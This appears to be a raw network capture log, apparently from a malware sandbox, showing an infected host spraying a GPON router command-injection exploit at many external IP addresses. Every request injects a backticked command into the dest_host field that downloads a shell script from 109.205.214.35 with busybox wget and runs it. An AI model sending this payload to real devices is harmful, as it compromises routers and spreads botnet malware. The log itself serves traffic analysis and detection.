Mar 21, 2024 05:21:47.435931921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.13	36238	109.211.26.135	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.435986996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.13	33204	5.97.61.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436021090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.13	49512	212.248.107.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436064959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.13	56376	42.11.56.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436095953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.13	35598	109.128.134.10	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436125994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.13	59624	118.135.229.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436125994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.13	38048	212.208.88.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436152935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.13	49826	109.146.169.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436193943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.13	54114	5.5.122.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436227083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.13	49582	118.67.241.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436284065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.13	39484	212.244.213.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436302900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.13	34756	109.95.237.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436321020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.13	45320	42.13.234.44	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436364889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.13	33456	109.216.111.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436372995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.13	41794	118.147.102.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436459064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.13	56970	5.227.157.136	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.436459064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.13	46678	5.198.204.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447360992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.13	35274	212.227.248.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447362900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.13	49208	109.83.116.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447365046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.13	60658	42.65.104.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447391987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.13	45986	212.99.47.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447413921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.13	57612	5.186.9.199	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447418928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.13	56432	42.119.135.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447432995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.13	53310	212.12.133.2	443

Timestamp	Bytes transferred	Direction	Data
